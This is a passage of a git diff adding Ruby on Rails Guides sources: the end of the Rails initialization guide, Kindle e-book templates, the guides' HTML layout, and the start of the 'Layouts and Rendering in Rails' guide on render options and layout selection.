+happens next is Rack will call all the provided middlewares:
+
+```ruby
+def build_app(app)
+ middleware[options[:environment]].reverse_each do |middleware|
+ middleware = middleware.call(self) if middleware.respond_to?(:call)
+ next unless middleware
+ klass = middleware.shift
+ app = klass.new(app, *middleware)
+ end
+ app
+end
+```
+
+Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`.
+Here's how it looked like when we left:
+
+```ruby
+server.run wrapped_app, options, &blk
+```
+
+At this point, the implementation of `server.run` will depend on the
+server you're using. For example, if you were using Mongrel, here's what
+the `run` method would look like:
+
+```ruby
+def self.run(app, options={})
+ server = ::Mongrel::HttpServer.new(
+ options[:Host] || '0.0.0.0',
+ options[:Port] || 8080,
+ options[:num_processors] || 950,
+ options[:throttle] || 0,
+ options[:timeout] || 60)
+ # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
+ # Use is similar to #run, replacing the app argument with a hash of
+ # { path=>app, ... } or an instance of Rack::URLMap.
+ if options[:map]
+ if app.is_a? Hash
+ app.each do |path, appl|
+ path = '/'+path unless path[0] == ?/
+ server.register(path, Rack::Handler::Mongrel.new(appl))
+ end
+ elsif app.is_a? URLMap
+ app.instance_variable_get(:@mapping).each do |(host, path, appl)|
+ next if !host.nil? && !options[:Host].nil? && options[:Host] != host
+ path = '/'+path unless path[0] == ?/
+ server.register(path, Rack::Handler::Mongrel.new(appl))
+ end
+ else
+ raise ArgumentError, "first argument should be a Hash or URLMap"
+ end
+ else
+ server.register('/', Rack::Handler::Mongrel.new(app))
+ end
+ yield server if block_given?
+ server.run.join
+end
+```
+
+We won't dig into the server configuration itself, but this is
+the last piece of our journey in the Rails initialization process.
+
+This high level overview will help you understand when your code is
+executed and how, and overall become a better Rails developer. If you
+still want to know more, the Rails source code itself is probably the
+best place to go next.
diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md
new file mode 100644
index 0000000..8c4fad1
--- /dev/null
+++ b/guides/source/kindle/KINDLE.md
@@ -0,0 +1,26 @@
+# Rails Guides on the Kindle
+
+
+## Synopsis
+
+ 1. Obtain `kindlegen` from the link below and put the binary in your path
+ 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file
+ 3. Copy `output/kindle/rails_guides.mobi` to your Kindle
+
+## Resources
+
+ * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format)
+ * Example Periodical [.ncx](https://gist.github.com/mipearson/808c971ed087b839d462) and [.opf](https://gist.github.com/mipearson/d6349aa8488eca2ee6d0)
+ * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf)
+ * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621)
+
+## TODO
+
+### Post release
+
+ * Integrate generated Kindle document into published HTML guides
+ * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it)
+ * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode)
+ * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides
+ * `.epub` generation.
+
diff --git a/guides/source/kindle/copyright.html.erb b/guides/source/kindle/copyright.html.erb
new file mode 100644
index 0000000..bd51d87
--- /dev/null
+++ b/guides/source/kindle/copyright.html.erb
@@ -0,0 +1 @@
+<%= render 'license' %>
\ No newline at end of file
diff --git a/guides/source/kindle/layout.html.erb b/guides/source/kindle/layout.html.erb
new file mode 100644
index 0000000..f0a2862
--- /dev/null
+++ b/guides/source/kindle/layout.html.erb
@@ -0,0 +1,27 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/kindle.css" />
+
+</head>
+<body class="guide">
+
+ <% if content_for? :header_section %>
+ <%= yield :header_section %>
+ <div class="pagebreak">
+ <% end %>
+
+ <% if content_for? :index_section %>
+ <%= yield :index_section %>
+ <div class="pagebreak">
+ <% end %>
+
+ <%= yield.html_safe %>
+</body>
+</html>
diff --git a/guides/source/kindle/rails_guides.opf.erb b/guides/source/kindle/rails_guides.opf.erb
new file mode 100644
index 0000000..547abcb
--- /dev/null
+++ b/guides/source/kindle/rails_guides.opf.erb
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="RailsGuides">
+<metadata>
+ <meta name="cover" content="cover" />
+ <dc-metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
+
+ <dc:title>Ruby on Rails Guides (<%= @version %>)</dc:title>
+
+ <dc:language>en-us</dc:language>
+ <dc:creator>Ruby on Rails</dc:creator>
+ <dc:publisher>Ruby on Rails</dc:publisher>
+ <dc:subject>Reference</dc:subject>
+ <dc:date><%= Time.now.strftime('%Y-%m-%d') %></dc:date>
+
+ <dc:description>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.</dc:description>
+ </dc-metadata>
+ <x-metadata>
+ <output content-type="application/x-mobipocket-subscription-magazine" encoding="utf-8"/>
+ </x-metadata>
+</metadata>
+
+<manifest>
+ <!-- HTML content files [mandatory] -->
+ <% documents_flat.each do |document| %>
+ <item id="<%= document['url'] %>" media-type="text/html" href="<%= document['url'] %>" />
+ <% end %>
+
+ <% %w{toc.html credits.html welcome.html copyright.html}.each do |url| %>
+ <item id="<%= url %>" media-type="text/html" href="<%= url %>" />
+ <% end %>
+
+ <item id="toc" media-type="application/x-dtbncx+xml" href="toc.ncx" />
+
+ <item id="cover" media-type="image/jpg" href="images/rails_guides_kindle_cover.jpg"/>
+</manifest>
+
+<spine toc="toc">
+ <itemref idref="toc.html" />
+ <itemref idref="welcome.html" />
+ <itemref idref="credits.html" />
+ <itemref idref="copyright.html" />
+ <% documents_flat.each do |document| %>
+ <itemref idref="<%= document['url'] %>" />
+ <% end %>
+</spine>
+
+<guide>
+ <reference type="toc" title="Table of Contents" href="toc.html"></reference>
+</guide>
+
+</package>
diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb
new file mode 100644
index 0000000..e013797
--- /dev/null
+++ b/guides/source/kindle/toc.html.erb
@@ -0,0 +1,24 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides
+<% end %>
+
+<h1>Table of Contents</h1>
+<div id="toc">
+ <ul><li><a href="welcome.html">Welcome</a></li></ul>
+<% documents_by_section.each_with_index do |section, i| %>
+ <h3><%= "#{i + 1}." %> <%= section['name'] %></h3>
+ <ul>
+ <% section['documents'].each do |document| %>
+ <li>
+ <a href="<%= document['url'] %>"><%= document['name'] %></a>
+ <% if document['work_in_progress']%>(WIP)<% end %>
+ </li>
+ <% end %>
+ </ul>
+<% end %>
+<hr />
+<ul>
+ <li><a href="credits.html">Credits</a></li>
+ <li><a href="copyright.html">Copyright & License</a></li>
+<ul>
+</div>
diff --git a/guides/source/kindle/toc.ncx.erb b/guides/source/kindle/toc.ncx.erb
new file mode 100644
index 0000000..2c6d8e3
--- /dev/null
+++ b/guides/source/kindle/toc.ncx.erb
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE ncx PUBLIC "-//NISO//DTD ncx 2005-1//EN"
+ "http://www.daisy.org/z3986/2005/ncx-2005-1.dtd">
+
+<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1" xml:lang="en-US">
+<head>
+ <meta name="dtb:uid" content="RailsGuides"/>
+ <meta name="dtb:depth" content="2"/>
+ <meta name="dtb:totalPageCount" content="0"/>
+ <meta name="dtb:maxPageNumber" content="0"/>
+</head>
+<docTitle><text>Ruby on Rails Guides</text></docTitle>
+<docAuthor><text>docrails</text></docAuthor>
+<navMap>
+ <navPoint playOrder="0" class="periodical" id="periodical">
+ <navLabel>
+ <text>Table of Contents</text>
+ </navLabel>
+ <content src="toc.html"/>
+
+ <navPoint class="section" id="welcome" playOrder="1">
+ <navLabel>
+ <text>Introduction</text>
+ </navLabel>
+ <content src="welcome.html"/>
+
+ <navPoint class="article" id="welcome" playOrder="2">
+ <navLabel>
+ <text>Welcome</text>
+ </navLabel>
+ <content src="welcome.html"/>
+ </navPoint>
+ <navPoint class="article" id="credits" playOrder="3">
+ <navLabel><text>Credits</text></navLabel>
+ <content src="credits.html">
+ </navPoint>
+ <navPoint class="article" id="copyright" playOrder="4">
+ <navLabel><text>Copyright & License</text></navLabel>
+ <content src="copyright.html">
+ </navPoint>
+ </navPoint>
+
+ <% play_order = 4 %>
+ <% documents_by_section.each_with_index do |section, section_no| %>
+ <navPoint class="section" id="chapter_<%= section_no + 1 %>" playOrder="<% play_order +=1 %>">
+ <navLabel>
+ <text><%= section['name'] %></text>
+ </navLabel>
+ <content src="<%=section['documents'].first['url'] %>"/>
+
+ <% section['documents'].each_with_index do |document, document_no| %>
+ <navPoint class="article" id="_<%=section_no+1%>.<%=document_no+1%>" playOrder="<%=play_order +=1 %>">
+ <navLabel>
+ <text><%= document['name'] %></text>
+ </navLabel>
+ <content src="<%=document['url'] %>"/>
+ </navPoint>
+ <% end %>
+ </navPoint>
+ <% end %>
+
+ </navPoint>
+</navMap>
+</ncx>
diff --git a/guides/source/kindle/welcome.html.erb b/guides/source/kindle/welcome.html.erb
new file mode 100644
index 0000000..610a715
--- /dev/null
+++ b/guides/source/kindle/welcome.html.erb
@@ -0,0 +1,5 @@
+<%= render 'welcome' %>
+
+<h3>Kindle Edition</h3>
+
+The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions.
diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb
new file mode 100644
index 0000000..397dd62
--- /dev/null
+++ b/guides/source/layout.html.erb
@@ -0,0 +1,148 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+<meta name="viewport" content="width=device-width, initial-scale=1">
+
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
+
+<link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+</head>
+<body class="guide">
+ <% if @edge %>
+ <div>
+ <img src="images/edge_badge.png" alt="edge-badge" id="edge-badge" />
+ </div>
+ <% end %>
+ <div id="topNav">
+ <div class="wrapper">
+ <strong class="more-info-label">More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+ <span class="red-button more-info-button">
+ More Ruby on Rails
+ </span>
+ <ul class="more-info-links s-hidden">
+ <li class="more-info"><a href="http://rubyonrails.org/">Overview</a></li>
+ <li class="more-info"><a href="http://rubyonrails.org/download">Download</a></li>
+ <li class="more-info"><a href="http://rubyonrails.org/deploy">Deploy</a></li>
+ <li class="more-info"><a href="https://github.com/rails/rails">Code</a></li>
+ <li class="more-info"><a href="http://rubyonrails.org/screencasts">Screencasts</a></li>
+ <li class="more-info"><a href="http://rubyonrails.org/documentation">Documentation</a></li>
+ <li class="more-info"><a href="http://rubyonrails.org/ecosystem">Ecosystem</a></li>
+ <li class="more-info"><a href="http://rubyonrails.org/community">Community</a></li>
+ <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
+ </ul>
+ </div>
+ </div>
+ <div id="header">
+ <div class="wrapper clearfix">
+ <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+ <ul class="nav">
+ <li><a class="nav-item" href="index.html">Home</a></li>
+ <li class="guides-index guides-index-large">
+ <a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
+ <div id="guides" class="clearfix" style="display: none;">
+ <hr />
+ <% ['L', 'R'].each do |position| %>
+ <dl class="<%= position %>">
+ <% docs_for_menu(position).each do |section| %>
+ <dt><%= section['name'] %></dt>
+ <% finished_documents(section['documents']).each do |document| %>
+ <dd><a href="<%= document['url'] %>"><%= document['name'] %></a></dd>
+ <% end %>
+ <% end %>
+ </dl>
+ <% end %>
+ </div>
+ </li>
+ <li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribute</a></li>
+ <li><a class="nav-item" href="credits.html">Credits</a></li>
+ <li class="guides-index guides-index-small">
+ <select class="guides-index-item nav-item">
+ <option value="index.html">Guides Index</option>
+ <% docs_for_menu.each do |section| %>
+ <optgroup label="<%= section['name'] %>">
+ <% finished_documents(section['documents']).each do |document| %>
+ <option value="<%= document['url'] %>"><%= document['name'] %></option>
+ <% end %>
+ </optgroup>
+ <% end %>
+ </select>
+ </li>
+ </ul>
+ </div>
+ </div>
+ </div>
+ <hr class="hide" />
+
+ <div id="feature">
+ <div class="wrapper">
+ <%= yield :header_section %>
+
+ <%= yield :index_section %>
+ </div>
+ </div>
+
+ <div id="container">
+ <div class="wrapper">
+ <div id="mainCol">
+ <%= yield.html_safe %>
+
+ <h3>Feedback</h3>
+ <p>
+ You're encouraged to help improve the quality of this guide.
+ </p>
+ <p>
+ If you see any typos or factual errors you are confident to
+ patch, please clone <%= link_to 'docrails', 'https://github.com/lifo/docrails' %>
+ and push the change yourself. That branch of Rails has public write access.
+ Commits are still reviewed, but that happens after you've submitted your
+ contribution. <%= link_to 'docrails', 'https://github.com/lifo/docrails' %> is
+ cross-merged with master periodically.
+ </p>
+ <p>
+ You may also find incomplete content, or stuff that is not up to date.
+ Please do add any missing documentation for master. Check the
+ <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
+ for style and conventions.
+ </p>
+ <p>
+ If for whatever reason you spot something to fix but cannot patch it yourself, please
+ <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
+ </p>
+ <p>And last but not least, any kind of discussion regarding Ruby on Rails
+ documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>.
+ </p>
+ </div>
+ </div>
+ </div>
+
+ <hr class="hide" />
+ <div id="footer">
+ <div class="wrapper">
+ <%= render 'license' %>
+ </div>
+ </div>
+
+ <script type="text/javascript" src="javascripts/jquery.min.js"></script>
+ <script type="text/javascript" src="javascripts/responsive-tables.js"></script>
+ <script type="text/javascript" src="javascripts/guides.js"></script>
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+ <script type="text/javascript">
+ SyntaxHighlighter.all()
+ $(guidesIndex.bind);
+ </script>
+</body>
+</html>
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
new file mode 100644
index 0000000..addc0a5
--- /dev/null
+++ b/guides/source/layouts_and_rendering.md
@@ -0,0 +1,1188 @@
+Layouts and Rendering in Rails
+==============================
+
+This guide covers the basic layout features of Action Controller and Action View.
+
+After reading this guide, you will know:
+
+* How to use the various rendering methods built into Rails.
+* How to create layouts with multiple content sections.
+* How to use partials to DRY up your views.
+* How to use nested layouts (sub-templates).
+
+--------------------------------------------------------------------------------
+
+Overview: How the Pieces Fit Together
+-------------------------------------
+
+This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
+
+In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
+
+Creating Responses
+------------------
+
+From the controller's point of view, there are three ways to create an HTTP response:
+
+* Call `render` to create a full response to send back to the browser
+* Call `redirect_to` to send an HTTP redirect status code to the browser
+* Call `head` to create a response consisting solely of HTTP headers to send back to the browser
+
+### Rendering by Default: Convention Over Configuration in Action
+
+You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class:
+
+```ruby
+class BooksController < ApplicationController
+end
+```
+
+And the following in your routes file:
+
+```ruby
+resources :books
+```
+
+And you have a view file `app/views/books/index.html.erb`:
+
+```html+erb
+<h1>Books are coming soon!</h1>
+```
+
+Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen.
+
+However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`:
+
+```ruby
+class BooksController < ApplicationController
+ def index
+ @books = Book.all
+ end
+end
+```
+
+Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file.
+
+If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
+
+```html+erb
+<h1>Listing Books</h1>
+
+<table>
+ <tr>
+ <th>Title</th>
+ <th>Summary</th>
+ <th></th>
+ <th></th>
+ <th></th>
+ </tr>
+
+<% @books.each do |book| %>
+ <tr>
+ <td><%= book.title %></td>
+ <td><%= book.content %></td>
+ <td><%= link_to "Show", book %></td>
+ <td><%= link_to "Edit", edit_book_path(book) %></td>
+ <td><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
+ </tr>
+<% end %>
+</table>
+
+<br />
+
+<%= link_to "New book", new_book_path %>
+```
+
+NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator).
+
+### Using `render`
+
+In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+
+TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser.
+
+#### Rendering Nothing
+
+Perhaps the simplest thing you can do with `render` is to render nothing at all:
+
+```ruby
+render nothing: true
+```
+
+If you look at the response for this using cURL, you will see the following:
+
+```bash
+$ curl -i 127.0.0.1:3000/books
+HTTP/1.1 200 OK
+Connection: close
+Date: Sun, 24 Jan 2010 09:25:18 GMT
+Transfer-Encoding: chunked
+Content-Type: */*; charset=utf-8
+X-Runtime: 0.014297
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+ $
+```
+
+We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed.
+
+TIP: You should probably be using the `head` method, discussed later in this guide, instead of `render :nothing`. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
+
+#### Rendering an Action's View
+
+If you want to render the view that corresponds to a different template within the same controller, you can use `render` with the name of the view:
+
+```ruby
+def update
+ @book = Book.find(params[:id])
+ if @book.update(params[:book])
+ redirect_to(@book)
+ else
+ render "edit"
+ end
+end
+```
+
+If the call to `update` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller.
+
+If you prefer, you can use a symbol instead of a string to specify the action to render:
+
+```ruby
+def update
+ @book = Book.find(params[:id])
+ if @book.update(params[:book])
+ redirect_to(@book)
+ else
+ render :edit
+ end
+end
+```
+
+#### Rendering an Action's Template from Another Controller
+
+What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way:
+
+```ruby
+render "products/show"
+```
+
+Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier):
+
+```ruby
+render template: "products/show"
+```
+
+#### Rendering an Arbitrary File
+
+The `render` method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
+
+```ruby
+render "/u/apps/warehouse_app/current/app/views/products/show"
+```
+
+Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the `:file` option (which was required on Rails 2.2 and earlier):
+
+```ruby
+render file: "/u/apps/warehouse_app/current/app/views/products/show"
+```
+
+The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
+
+NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the `layout: true` option.
+
+TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames.
+
+#### Wrapping it up
+
+The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
+
+In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:
+
+```ruby
+render :edit
+render action: :edit
+render "edit"
+render "edit.html.erb"
+render action: "edit"
+render action: "edit.html.erb"
+render "books/edit"
+render "books/edit.html.erb"
+render template: "books/edit"
+render template: "books/edit.html.erb"
+render "/path/to/rails/app/views/books/edit"
+render "/path/to/rails/app/views/books/edit.html.erb"
+render file: "/path/to/rails/app/views/books/edit"
+render file: "/path/to/rails/app/views/books/edit.html.erb"
+```
+
+Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
+
+#### Using `render` with `:inline`
+
+The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid:
+
+```ruby
+render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"
+```
+
+WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
+
+By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option:
+
+```ruby
+render inline: "xml.p {'Horrid coding practice!'}", type: :builder
+```
+
+#### Rendering Text
+
+You can send plain text - with no markup at all - back to the browser by using the `:text` option to `render`:
+
+```ruby
+render text: "OK"
+```
+
+TIP: Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML.
+
+NOTE: By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `layout: true` option.
+
+#### Rendering JSON
+
+JSON is a JavaScript data format used by many Ajax libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
+
+```ruby
+render json: @product
+```
+
+TIP: You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you.
+
+#### Rendering XML
+
+Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
+
+```ruby
+render xml: @product
+```
+
+TIP: You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you.
+
+#### Rendering Vanilla JavaScript
+
+Rails can render vanilla JavaScript:
+
+```ruby
+render js: "alert('Hello Rails');"
+```
+
+This will send the supplied string to the browser with a MIME type of `text/javascript`.
+
+#### Options for `render`
+
+Calls to the `render` method generally accept four options:
+
+* `:content_type`
+* `:layout`
+* `:status`
+* `:location`
+
+##### The `:content_type` Option
+
+By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option:
+
+```ruby
+render file: filename, content_type: "application/rss"
+```
+
+##### The `:layout` Option
+
+With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
+
+You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action:
+
+```ruby
+render layout: "special_layout"
+```
+
+You can also tell Rails to render with no layout at all:
+
+```ruby
+render layout: false
+```
+
+##### The `:status` Option
+
+Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this:
+
+```ruby
+render status: 500
+render status: :forbidden
+```
+
+Rails understands both numeric status codes and the corresponding symbols shown below:
+
+| HTTP Status Code | Symbol |
+| ---------------- | -------------------------------- |
+| 100 | :continue |
+| 101 | :switching_protocols |
+| 102 | :processing |
+| 200 | :ok |
+| 201 | :created |
+| 202 | :accepted |
+| 203 | :non_authoritative_information |
+| 204 | :no_content |
+| 205 | :reset_content |
+| 206 | :partial_content |
+| 207 | :multi_status |
+| 226 | :im_used |
+| 300 | :multiple_choices |
+| 301 | :moved_permanently |
+| 302 | :found |
+| 303 | :see_other |
+| 304 | :not_modified |
+| 305 | :use_proxy |
+| 306 | :reserved |
+| 307 | :temporary_redirect |
+| 400 | :bad_request |
+| 401 | :unauthorized |
+| 402 | :payment_required |
+| 403 | :forbidden |
+| 404 | :not_found |
+| 405 | :method_not_allowed |
+| 406 | :not_acceptable |
+| 407 | :proxy_authentication_required |
+| 408 | :request_timeout |
+| 409 | :conflict |
+| 410 | :gone |
+| 411 | :length_required |
+| 412 | :precondition_failed |
+| 413 | :request_entity_too_large |
+| 414 | :request_uri_too_long |
+| 415 | :unsupported_media_type |
+| 416 | :requested_range_not_satisfiable |
+| 417 | :expectation_failed |
+| 418 | :i'm_a_teapot |
+| 422 | :unprocessable_entity |
+| 423 | :locked |
+| 424 | :failed_dependency |
+| 426 | :upgrade_required |
+| 500 | :internal_server_error |
+| 501 | :not_implemented |
+| 502 | :bad_gateway |
+| 503 | :service_unavailable |
+| 504 | :gateway_timeout |
+| 505 | :http_version_not_supported |
+| 506 | :variant_also_negotiates |
+| 507 | :insufficient_storage |
+| 510 | :not_extended |
+
+##### The `:location` Option
+
+You can use the `:location` option to set the HTTP `Location` header:
+
+```ruby
+render xml: photo, location: photo_url(photo)
+```
+
+#### Finding Layouts
+
+To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if on [...]
+
+##### Specifying Layouts for Controllers
+
+You can override the default layout conventions in your controllers by using the `layout` declaration. For example:
+
+```ruby
+class ProductsController < ApplicationController
+ layout "inventory"
+ #...
+end
+```
+
+With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout.
+
+To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:
+
+```ruby
+class ApplicationController < ActionController::Base
+ layout "main"
+ #...
+end
+```
+
+With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout.
+
+##### Choosing Layouts at Runtime
+
+You can use a symbol to defer the choice of layout until a request is processed:
+
+```ruby
+class ProductsController < ApplicationController
+ layout :products_layout
+
+ def show
+ @product = Product.find(params[:id])
+ end
+
+ private
+ def products_layout
+ @current_user.special? ? "special" : "products"
+ end
+
+end
+```
+
+Now, if the current user is a special user, they'll get a special layout when viewing a product.
+
+You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request:
+
+```ruby
+class ProductsController < ApplicationController
+ layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
+end
+```
+
+##### Conditional Layouts
+
+Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
+
+```ruby
+class ProductsController < ApplicationController
+ layout "product", except: [:index, :rss]
+end
+```
+
+With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods.
+
+##### Layout Inheritance
+
+Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:
+
+* `application_controller.rb`
+
+ ```ruby
+ class ApplicationController < ActionController::Base
+ layout "main"
+ end
+ ```
+
+* `posts_controller.rb`
+
+ ```ruby
+ class PostsController < ApplicationController
+ end
+ ```
+
+* `special_posts_controller.rb`
+
+ ```ruby
+ class SpecialPostsController < PostsController
+ layout "special"
+ end
+ ```
+
+* `old_posts_controller.rb`
+
+ ```ruby
+ class OldPostsController < SpecialPostsController
+ layout false
+
+ def show
+ @post = Post.find(params[:id])
+ end
+
+ def index
+ @old_posts = Post.older
+ render layout: "old"
+ end
+ # ...
+ end
+ ```
+
+In this application:
+
+* In general, views will be rendered in the `main` layout
+* `PostsController#index` will use the `main` layout
+* `SpecialPostsController#index` will use the `special` layout
+* `OldPostsController#show` will use no layout at all
+* `OldPostsController#index` will use the `old` layout
+
+#### Avoiding Double Render Errors
+
